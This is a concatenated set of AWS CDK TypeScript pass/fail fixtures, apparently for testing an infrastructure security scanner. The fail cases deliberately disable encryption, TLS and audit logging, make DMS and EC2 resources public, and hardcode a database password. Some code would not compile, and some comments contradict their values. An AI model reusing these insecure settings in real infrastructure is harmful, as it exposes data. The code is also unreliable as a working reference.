s3.Bucket(this, 'LogBucket'); // Creating an origin for the CloudFront distribution const myOrigin = new cloudfront.Origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' }); // Creating a CloudFront distribution using the Distribution construct const distribution = new cloudfront.Distribution(this, 'MyDistribution', { defaultBehavior: { origin: myOrigin, viewerProtocolPolicy: cloudfront.ViewerProtocolPolicy.ALLOW_ALL, }, enableLogging: true, // Enable access logging logBucket: logBucket, logFilePrefix: 'cf-access-logs/', // Optional: prefix for log file names }); // Optionally grant CloudFront permission to write access logs to the S3 bucket logBucket.grantWrite(distribution.logBucketDelivery); } } // Example usage const app = new cdk.App(); new CloudFrontStack(app, 'CloudFrontStack'); export class CloudFrontStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // S3 bucket for storing CloudFront access logs const logBucket = new s3.Bucket(this, 'LogBucket'); // Creating an origin for the CloudFront distribution const myOrigin = new cloudfront.CfnDistribution.OriginProperty({ domainName: 'my-bucket.s3.amazonaws.com', id: 'myOrigin', s3OriginConfig: {}, }); // Creating a CloudFront distribution using the CfnDistribution construct const distribution = new cloudfront.CfnDistribution(this, 'MyDistribution', { distributionConfig: { defaultCacheBehavior: { targetOriginId: 'myOrigin', viewerProtocolPolicy: 'allow-all', }, origins: [myOrigin], enabled: true, logging: { bucket: logBucket.bucketName, prefix: 'cf-access-logs/', // Optional: prefix for log file names includeCookies: false, // Optional: whether to include cookies in access logs }, }, }); // Optionally grant CloudFront permission to write access logs to the S3 bucket logBucket.grantWrite(distribution.logBucketDeliveryWrite); } } // Example usage const app = new cdk.App(); new CloudFrontStack(app, 'CloudFrontStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudtrailEncryption/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as cloudtrail from 'aws-cdk-lib/aws-cloudtrail'; import * as kms from 'aws-cdk-lib/aws-kms'; export class CloudTrailStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define a KMS key for CloudTrail encryption const kmsKey = new kms.Key(this, 'CloudTrailKmsKey'); // Create a CloudTrail trail with the specified KMS key ID const trail = new cloudtrail.CfnTrail(this, 'MyTrail', { enableLogFileValidation: true, includeGlobalServiceEvents: true, isMultiRegionTrail: true, trailName: 'MyCloudTrail', }); } } // Example usage const app = new cdk.App(); new CloudTrailStack(app, 'CloudTrailStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudtrailEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as cloudtrail from 'aws-cdk-lib/aws-cloudtrail'; import * as kms from 'aws-cdk-lib/aws-kms'; export class CloudTrailStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define a KMS key for CloudTrail encryption const kmsKey = new kms.Key(this, 'CloudTrailKmsKey'); // Create a CloudTrail trail with the specified KMS key ID const trail = new cloudtrail.CfnTrail(this, 'MyTrail', { enableLogFileValidation: true, includeGlobalServiceEvents: true, isMultiRegionTrail: true, kmsKeyId: kmsKey.keyId, // Use the KMS key ID trailName: 'MyCloudTrail', }); } } // Example usage const app = new cdk.App(); new CloudTrailStack(app, 'CloudTrailStack'); export class CloudTrailStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create a CloudTrail trail with the specified KMS key ID const trail = new cloudtrail.CfnTrail(this, 'MyTrail', { enableLogFileValidation: true, includeGlobalServiceEvents: true, isMultiRegionTrail: true, kmsKeyId: new kms.Key(this, 'CloudTrailKmsKey').keyId, trailName: 'MyCloudTrail', }); } } // Example usage const app = new cdk.App(); new CloudTrailStack(app, 'CloudTrailStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CloudtrailMultiRegion/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as cloudtrail from 'aws-cdk-lib/aws-cloudtrail'; import * as kms from 'aws-cdk-lib/aws-kms'; export class CloudTrailStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define a KMS key for CloudTrail encryption const kmsKey = new kms.Key(this, 'CloudTrailKmsKey'); // Create a CloudTrail trail using CfnTrail const trail = new cloudtrail.CfnTrail(this, 'MyCfnTrail', { isMultiRegionTrail: false, enableLogFileValidation: true, includeGlobalServiceEvents: true, kmsKeyId: kmsKey.keyId, trailName: 'MyCloudTrail', }); } } export class CloudTrailStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define a KMS key for CloudTrail encryption const kmsKey = new kms.Key(this, 'CloudTrailKmsKey'); // Create a CloudTrail trail using Trail construct const trail = new cloudtrail.Trail(this, 'MyTrail', { enableFileValidation: true, includeGlobalServiceEvents: true, encryptionKey: kmsKey, trailName: 'MyCloudTrail', }); } } ================================================ FILE: cdk_integration_tests/src/typescript/CloudtrailMultiRegion/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as cloudtrail from 'aws-cdk-lib/aws-cloudtrail'; import * as kms from 'aws-cdk-lib/aws-kms'; export class CloudTrailStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define a KMS key for CloudTrail encryption const kmsKey = new kms.Key(this, 'CloudTrailKmsKey'); // Create a CloudTrail trail using CfnTrail const trail = new cloudtrail.CfnTrail(this, 'MyCfnTrail', { isMultiRegionTrail: true, enableLogFileValidation: true, includeGlobalServiceEvents: true, kmsKeyId: kmsKey.keyId, trailName: 'MyCloudTrail', }); } } export class CloudTrailStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define a KMS key for CloudTrail encryption const kmsKey = new kms.Key(this, 'CloudTrailKmsKey'); // Create a CloudTrail trail using Trail construct const trail = new cloudtrail.Trail(this, 'MyTrail', { isMultiRegionTrail: true, enableFileValidation: true, includeGlobalServiceEvents: true, encryptionKey: kmsKey, trailName: 'MyCloudTrail', }); } } ================================================ FILE: cdk_integration_tests/src/typescript/CodeBuildProjectEncryption/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as codebuild from 'aws-cdk-lib/aws-codebuild'; export class CodeBuildStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create a CodeBuild project const project = new codebuild.Project(this, 'MyCodeBuildProject', { projectName: 'MyCodeBuildProject', environment: { buildImage: codebuild.LinuxBuildImage.STANDARD_4_0, environmentVariables: { 'EXAMPLE_ENV_VARIABLE': { value: 'example-value' }, }, }, buildSpec: codebuild.BuildSpec.fromObject({ version: '0.2', phases: { install: { commands: [ 'npm install', ], }, build: { commands: [ 'npm run build', ], }, }, }), }); // Ensure that encryption is not disabled project.node.addDependency(kmsKey); } } // Example usage const app = new cdk.App(); new CodeBuildStack(app, 'CodeBuildStack'); ================================================ FILE: cdk_integration_tests/src/typescript/CodeBuildProjectEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as codebuild from 'aws-cdk-lib/aws-codebuild'; import * as kms from 'aws-cdk-lib/aws-kms'; export class CodeBuildStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define a KMS key for CodeBuild encryption const kmsKey = new kms.Key(this, 'CodeBuildKmsKey'); // Create a CodeBuild project const project = new codebuild.Project(this, 'MyCodeBuildProject', { projectName: 'MyCodeBuildProject', encryptionKey: kmsKey, // Specify the KMS key environment: { buildImage: codebuild.LinuxBuildImage.STANDARD_4_0, environmentVariables: { 'EXAMPLE_ENV_VARIABLE': { value: 'example-value' }, }, }, buildSpec: codebuild.BuildSpec.fromObject({ version: '0.2', phases: { install: { commands: [ 'npm install', ], }, build: { commands: [ 'npm run build', ], }, }, }), }); // Ensure that encryption is not disabled project.node.addDependency(kmsKey); } } // Example usage const app = new cdk.App(); new CodeBuildStack(app, 'CodeBuildStack'); export class CodeBuildStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create a CodeBuild project const project = new codebuild.Project(this, 'MyCodeBuildProject', { projectName: 'MyCodeBuildProject', encryptionKey: new kms.Key(this, 'CodeBuildKmsKey'), // Specify the KMS key environment: { buildImage: codebuild.LinuxBuildImage.STANDARD_4_0, environmentVariables: { 'EXAMPLE_ENV_VARIABLE': { value: 'example-value' }, }, }, buildSpec: codebuild.BuildSpec.fromObject({ version: '0.2', phases: { install: { commands: [ 'npm install', ], }, build: { commands: [ 'npm run build', ], }, }, }), }); // Ensure that encryption is not disabled project.node.addDependency(kmsKey); } } // Example usage const app = new cdk.App(); new CodeBuildStack(app, 'CodeBuildStack'); ================================================ FILE: cdk_integration_tests/src/typescript/DAXEncryption/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as dax from 'aws-cdk-lib/aws-dax'; export class DAXClusterStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create a DAX cluster const daxCluster = new dax.CfnCluster(this, 'MyDAXCluster', { clusterName: 'MyDAXCluster', description: 'My DAX Cluster', iamRoleArn: 'arn:aws:iam::123456789012:role/DAXServiceRole', nodeType: 'dax.r5.large', replicationFactor: 2, sseSpecification: { enabled: false, // Disable server-side encryption }, }); } } // Example usage const app = new cdk.App(); new DAXClusterStack(app, 'DAXClusterStack'); app.synth(); export class DAXClusterStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create a DAX cluster const daxCluster = new dax.CfnCluster(this, 'MyDAXCluster', { clusterName: 'MyDAXCluster', description: 'My DAX Cluster', iamRoleArn: 'arn:aws:iam::123456789012:role/DAXServiceRole', nodeType: 'dax.r5.large', replicationFactor: 2, }); } } // Example usage const app = new cdk.App(); new DAXClusterStack(app, 'DAXClusterStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DAXEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as dax from 'aws-cdk-lib/aws-dax'; export class DAXClusterStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create a DAX cluster const daxCluster = new dax.CfnCluster(this, 'MyDAXCluster', { clusterName: 'MyDAXCluster', description: 'My DAX Cluster', iamRoleArn: 'arn:aws:iam::123456789012:role/DAXServiceRole', nodeType: 'dax.r5.large', replicationFactor: 2, sseSpecification: { enabled: true, // Enable server-side encryption }, }); } } // Example usage const app = new cdk.App(); new DAXClusterStack(app, 'DAXClusterStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DMSReplicationInstancePubliclyAccessible/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as dms from 'aws-cdk-lib/aws-dms'; export class DMSStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create a DMS replication instance const replicationInstance = new dms.CfnReplicationInstance(this, 'MyCfnReplicationInstance', { replicationInstanceClass: 'replicationInstanceClass', // Optional properties allocatedStorage: 123, allowMajorVersionUpgrade: false, autoMinorVersionUpgrade: false, availabilityZone: 'availabilityZone', engineVersion: 'engineVersion', kmsKeyId: 'kmsKeyId', multiAz: false, preferredMaintenanceWindow: 'preferredMaintenanceWindow', publiclyAccessible: true, // Set publiclyAccessible to true replicationInstanceIdentifier: 'replicationInstanceIdentifier', replicationSubnetGroupIdentifier: 'replicationSubnetGroupIdentifier', resourceIdentifier: 'resourceIdentifier', tags: [{ key: 'key', value: 'value' }], vpcSecurityGroupIds: ['vpcSecurityGroupIds'], }); } } // Example usage const app = new cdk.App(); new DMSStack(app, 'DMSStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DMSReplicationInstancePubliclyAccessible/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as dms from 'aws-cdk-lib/aws-dms'; export class DMSStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create a DMS replication instance const replicationInstance = new dms.CfnReplicationInstance(this, 'MyCfnReplicationInstance', { replicationInstanceClass: 'replicationInstanceClass', // Optional properties allocatedStorage: 123, allowMajorVersionUpgrade: false, autoMinorVersionUpgrade: false, availabilityZone: 'availabilityZone', engineVersion: 'engineVersion', kmsKeyId: 'kmsKeyId', multiAz: false, preferredMaintenanceWindow: 'preferredMaintenanceWindow', publiclyAccessible: false, // Set publiclyAccessible to true replicationInstanceIdentifier: 'replicationInstanceIdentifier', replicationSubnetGroupIdentifier: 'replicationSubnetGroupIdentifier', resourceIdentifier: 'resourceIdentifier', tags: [{ key: 'key', value: 'value' }], vpcSecurityGroupIds: ['vpcSecurityGroupIds'], }); } } // Example usage const app = new cdk.App(); new DMSStack(app, 'DMSStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DocDBAuditLogs/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as docdb from 'aws-cdk-lib/aws-docdb'; export class DocDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DocDB Cluster Parameter Group const dbParameterGroup = new docdb.CfnDBClusterParameterGroup(this, 'DocDBClusterParameterGroup', { description: 'Custom DocDB Cluster Parameter Group', family: 'docdb4.0', parameters: { audit_logs: 'disabled', }, }); } } // Example usage const app = new cdk.App(); new DocDBStack(app, 'DocDBStack'); app.synth(); export class DocDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DocDB Cluster Parameter Group const dbParameterGroup = new docdb.CfnDBClusterParameterGroup(this, 'DocDBClusterParameterGroup', { description: 'Custom DocDB Cluster Parameter Group', family: 'docdb4.0', }); } } // Example usage const app = new cdk.App(); new DocDBStack(app, 'DocDBStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DocDBAuditLogs/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as docdb from 'aws-cdk-lib/aws-docdb'; export class DocDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DocDB Cluster Parameter Group const dbParameterGroup = new docdb.CfnDBClusterParameterGroup(this, 'DocDBClusterParameterGroup', { description: 'Custom DocDB Cluster Parameter Group', family: 'docdb4.0', parameters: { audit_logs: 'enabled', }, }); } } // Example usage const app = new cdk.App(); new DocDBStack(app, 'DocDBStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DocDBEncryption/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as docdb from 'aws-cdk-lib/aws-docdb'; import * as kms from 'aws-cdk-lib/aws-kms'; export class DocDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define a KMS key for DocumentDB storage encryption const kmsKey = new kms.Key(this, 'DocDBEncryptionKey'); // Create an Amazon DocumentDB cluster const cluster = new docdb.CfnDBCluster(this, 'MyCluster', { dbClusterIdentifier: 'MyCluster', masterUsername: 'admin', masterUserPassword: 'mysecretpassword', dbSubnetGroupName: 'MySubnetGroup', engineVersion: '4.0.0', storageEncrypted: false, // Enable storage encryption kmsKeyId: kmsKey.keyArn, vpcSecurityGroupIds: ['sg-12345678'], }); } } // Example usage const app = new cdk.App(); new DocDBStack(app, 'DocDBStack'); app.synth(); export class DocDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define a KMS key for DocumentDB storage encryption const kmsKey = new kms.Key(this, 'DocDBEncryptionKey'); // Create an Amazon DocumentDB cluster const cluster = new docdb.CfnDBCluster(this, 'MyCluster', { dbClusterIdentifier: 'MyCluster', masterUsername: 'admin', masterUserPassword: 'mysecretpassword', dbSubnetGroupName: 'MySubnetGroup', engineVersion: '4.0.0', kmsKeyId: kmsKey.keyArn, vpcSecurityGroupIds: ['sg-12345678'], }); } } // Example usage const app = new cdk.App(); new DocDBStack(app, 'DocDBStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DocDBEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as docdb from 'aws-cdk-lib/aws-docdb'; import * as kms from 'aws-cdk-lib/aws-kms'; export class DocDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define a KMS key for DocumentDB storage encryption const kmsKey = new kms.Key(this, 'DocDBEncryptionKey'); // Create an Amazon DocumentDB cluster const cluster = new docdb.CfnDBCluster(this, 'MyCluster', { dbClusterIdentifier: 'MyCluster', masterUsername: 'admin', masterUserPassword: 'mysecretpassword', dbSubnetGroupName: 'MySubnetGroup', engineVersion: '4.0.0', storageEncrypted: true, // Enable storage encryption kmsKeyId: kmsKey.keyArn, vpcSecurityGroupIds: ['sg-12345678'], }); } } // Example usage const app = new cdk.App(); new DocDBStack(app, 'DocDBStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DocDBTLS/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as docdb from 'aws-cdk-lib/aws-docdb'; export class DocDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DocDB Cluster Parameter Group const dbParameterGroup = new docdb.CfnDBClusterParameterGroup(this, 'DocDBClusterParameterGroup', { description: 'Custom DocDB Cluster Parameter Group', family: 'docdb4.0', parameters: { tls: 'disabled', }, }); } } // Example usage const app = new cdk.App(); new DocDBStack(app, 'DocDBStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DocDBTLS/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as docdb from 'aws-cdk-lib/aws-docdb'; export class DocDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DocDB Cluster Parameter Group const dbParameterGroup = new docdb.CfnDBClusterParameterGroup(this, 'DocDBClusterParameterGroup', { description: 'Custom DocDB Cluster Parameter Group', family: 'docdb4.0', parameters: { tls: 'enabled', }, }); } } // Example usage const app = new cdk.App(); new DocDBStack(app, 'DocDBStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DynamodbGlobalTableRecovery/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as dynamodb from 'aws-cdk-lib/aws-dynamodb'; export class DynamoDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DynamoDB table const table = new dynamodb.CfnTable(this, 'MyTable', { tableName: 'MyTable', attributeDefinitions: [{ attributeName: 'id', attributeType: 'S' }], keySchema: [{ attributeName: 'id', keyType: 'HASH' }], provisionedThroughput: { readCapacityUnits: 5, writeCapacityUnits: 5, }, }); // Define the DynamoDB global table const globalTable = new dynamodb.CfnGlobalTable(this, 'MyGlobalTable', { globalTableName: 'MyGlobalTable', replicationGroup: [{ region: 'us-east-1', // Replace with your preferred region }], sourceTableName: table.ref, pointInTimeRecoverySpecification: { pointInTimeRecoveryEnabled: false, // Enable point-in-time recovery for the global table }, }); } } // Example usage const app = new cdk.App(); new DynamoDBStack(app, 'DynamoDBStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DynamodbGlobalTableRecovery/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as dynamodb from 'aws-cdk-lib/aws-dynamodb'; export class DynamoDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DynamoDB table const table = new dynamodb.CfnTable(this, 'MyTable', { tableName: 'MyTable', attributeDefinitions: [{ attributeName: 'id', attributeType: 'S' }], keySchema: [{ attributeName: 'id', keyType: 'HASH' }], provisionedThroughput: { readCapacityUnits: 5, writeCapacityUnits: 5, }, }); // Define the DynamoDB global table const globalTable = new dynamodb.CfnGlobalTable(this, 'MyGlobalTable', { globalTableName: 'MyGlobalTable', replicationGroup: [{ region: 'us-east-1', // Replace with your preferred region }], sourceTableName: table.ref, pointInTimeRecoverySpecification: { pointInTimeRecoveryEnabled: true, // Enable point-in-time recovery for the global table }, }); } } // Example usage const app = new cdk.App(); new DynamoDBStack(app, 'DynamoDBStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DynamodcRecovery/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as dynamodb from 'aws-cdk-lib/aws-dynamodb'; export class DynamoDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DynamoDB table const table = new dynamodb.CfnTable(this, 'MyTable', { tableName: 'MyTable', attributeDefinitions: [{ attributeName: 'id', attributeType: 'S' }], keySchema: [{ attributeName: 'id', keyType: 'HASH' }], provisionedThroughput: { readCapacityUnits: 5, writeCapacityUnits: 5, }, pointInTimeRecoverySpecification: { pointInTimeRecoveryEnabled: false, // disable point-in-time recovery for the table }, }); } } // Example usage const app = new cdk.App(); new DynamoDBStack(app, 'DynamoDBStack'); app.synth(); export class DynamoDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DynamoDB table with point-in-time recovery enabled const table = new dynamodb.Table(this, 'MyTable', { tableName: 'MyTable', partitionKey: { name: 'id', type: dynamodb.AttributeType.STRING }, readCapacity: 5, writeCapacity: 5, removalPolicy: cdk.RemovalPolicy.DESTROY, // Optional: specify removal policy timeToLiveAttribute: 'ttlAttribute', // Enable point-in-time recovery pointInTimeRecovery: false, // Enable point-in-time recovery }); } } // Example usage const app = new cdk.App(); new DynamoDBStack(app, 'DynamoDBStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/DynamodcRecovery/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as dynamodb from 'aws-cdk-lib/aws-dynamodb'; export class DynamoDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DynamoDB table const table = new dynamodb.CfnTable(this, 'MyTable', { tableName: 'MyTable', attributeDefinitions: [{ attributeName: 'id', attributeType: 'S' }], keySchema: [{ attributeName: 'id', keyType: 'HASH' }], provisionedThroughput: { readCapacityUnits: 5, writeCapacityUnits: 5, }, pointInTimeRecoverySpecification: { pointInTimeRecoveryEnabled: true, // Enable point-in-time recovery for the table }, }); } } // Example usage const app = new cdk.App(); new DynamoDBStack(app, 'DynamoDBStack'); app.synth(); export class DynamoDBStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define the DynamoDB table with point-in-time recovery enabled const table = new dynamodb.Table(this, 'MyTable', { tableName: 'MyTable', partitionKey: { name: 'id', type: dynamodb.AttributeType.STRING }, readCapacity: 5, writeCapacity: 5, removalPolicy: cdk.RemovalPolicy.DESTROY, // Optional: specify removal policy timeToLiveAttribute: 'ttlAttribute', // Enable point-in-time recovery pointInTimeRecovery: true, // Enable point-in-time recovery }); } } // Example usage const app = new cdk.App(); new DynamoDBStack(app, 'DynamoDBStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/EBSEncryption/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; export class EC2Stack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create an EC2 instance const instance = new ec2.Instance(this, 'MyInstance', { instanceType: ec2.InstanceType.of(ec2.InstanceClass.T2, ec2.InstanceSize.MICRO), machineImage: ec2.MachineImage.latestAmazonLinux(), vpc: new ec2.Vpc(this, 'MyVpc'), }); // Create an EBS volume with encryption enabled const volume = new ec2.Volume(this, 'MyVolume', { availabilityZone: instance.instanceAvailabilityZone, size: ec2.Size.gibibytes(10), // Specify the volume size encrypted: false, // Disable encryption for the volume }); // Attach the volume to the instance instance.instance.addVolumeAttachment('MyVolumeAttachment', { volume, device: '/dev/sdf', // Specify the device name }); } } // Example usage const app = new cdk.App(); new EC2Stack(app, 'EC2Stack'); app.synth(); export class EC2Stack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create an EC2 instance const instance = new ec2.Instance(this, 'MyInstance', { instanceType: ec2.InstanceType.of(ec2.InstanceClass.T2, ec2.InstanceSize.MICRO), machineImage: ec2.MachineImage.latestAmazonLinux(), vpc: new ec2.Vpc(this, 'MyVpc'), }); // Create an EBS volume with encryption enabled const volume = new ec2.CfnVolume(this, 'MyVolume', { availabilityZone: instance.instanceAvailabilityZone, size: 10, // Specify the volume size in GiB encrypted: false, // Enable encryption for the volume }); // Attach the volume to the instance new ec2.CfnVolumeAttachment(this, 'MyVolumeAttachment', { instanceId: instance.instanceId, volumeId: volume.ref, device: '/dev/sdf', // Specify the device name }); } } // Example usage const app = new cdk.App(); new EC2Stack(app, 'EC2Stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/EBSEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; export class EC2Stack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create an EC2 instance const instance = new ec2.Instance(this, 'MyInstance', { instanceType: ec2.InstanceType.of(ec2.InstanceClass.T2, ec2.InstanceSize.MICRO), machineImage: ec2.MachineImage.latestAmazonLinux(), vpc: new ec2.Vpc(this, 'MyVpc'), }); // Create an EBS volume with encryption enabled const volume = new ec2.Volume(this, 'MyVolume', { availabilityZone: instance.instanceAvailabilityZone, size: ec2.Size.gibibytes(10), // Specify the volume size encrypted: true, // Enable encryption for the volume }); // Attach the volume to the instance instance.instance.addVolumeAttachment('MyVolumeAttachment', { volume, device: '/dev/sdf', // Specify the device name }); } } // Example usage const app = new cdk.App(); new EC2Stack(app, 'EC2Stack'); app.synth(); export class EC2Stack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Create an EC2 instance const instance = new ec2.Instance(this, 'MyInstance', { instanceType: ec2.InstanceType.of(ec2.InstanceClass.T2, ec2.InstanceSize.MICRO), machineImage: ec2.MachineImage.latestAmazonLinux(), vpc: new ec2.Vpc(this, 'MyVpc'), }); // Create an EBS volume with encryption enabled const volume = new ec2.CfnVolume(this, 'MyVolume', { availabilityZone: instance.instanceAvailabilityZone, size: 10, // Specify the volume size in GiB encrypted: true, // Enable encryption for the volume }); // Attach the volume to the instance new ec2.CfnVolumeAttachment(this, 'MyVolumeAttachment', { instanceId: instance.instanceId, volumeId: volume.ref, device: '/dev/sdf', // Specify the device name }); } } // Example usage const app = new cdk.App(); new EC2Stack(app, 'EC2Stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/EC2PublicIP/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const vpc = new ec2.Vpc(this, 'VPC', { cidr: '10.0.0.0/16', natGateways: 0, maxAzs: 2, subnetConfiguration: [ { name: 'public-subnet-1', subnetType: ec2.SubnetType.PUBLIC, cidrMask: 24, }, ], }); const instance = new ec2.Instance(this, 'Instance', { vpc, vpcSubnets: {subnetGroupName: 'public-subnet-1'}, instanceType: ec2.InstanceType.of(ec2.InstanceClass.T3, ec2.InstanceSize.NANO), machineImage: new ec2.AmazonLinuxImage({generation: ec2.AmazonLinuxGeneration.AMAZON_LINUX_2}), detailedMonitoring: true, associatePublicIpAddress: true }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/EC2PublicIP/fail_2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const vpc = new ec2.Vpc(this, 'VPC', { cidr: '10.0.0.0/16', natGateways: 0, maxAzs: 2, subnetConfiguration: [ { name: 'public-subnet-1', subnetType: ec2.SubnetType.PUBLIC, cidrMask: 24, }, ], }); const sg1 = new ec2.SecurityGroup(this, 'sg1', { vpc: vpc, }); const launchTemplate = new ec2.LaunchTemplate(this, 'LaunchTemplate', { machineImage: ec2.MachineImage.latestAmazonLinux2023(), securityGroup: sg1, associatePublicIpAddress: true }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/EC2PublicIP/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const vpc = new ec2.Vpc(this, 'VPC', { cidr: '10.0.0.0/16', natGateways: 0, maxAzs: 2, subnetConfiguration: [ { name: 'public-subnet-1', subnetType: ec2.SubnetType.PUBLIC, cidrMask: 24, }, ], }); const instance = new ec2.Instance(this, 'Instance', { vpc, vpcSubnets: {subnetGroupName: 'public-subnet-1'}, instanceType: ec2.InstanceType.of(ec2.InstanceClass.T3, ec2.InstanceSize.NANO), machineImage: new ec2.AmazonLinuxImage({generation: ec2.AmazonLinuxGeneration.AMAZON_LINUX_2}), detailedMonitoring: true, associatePublicIpAddress: false }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ 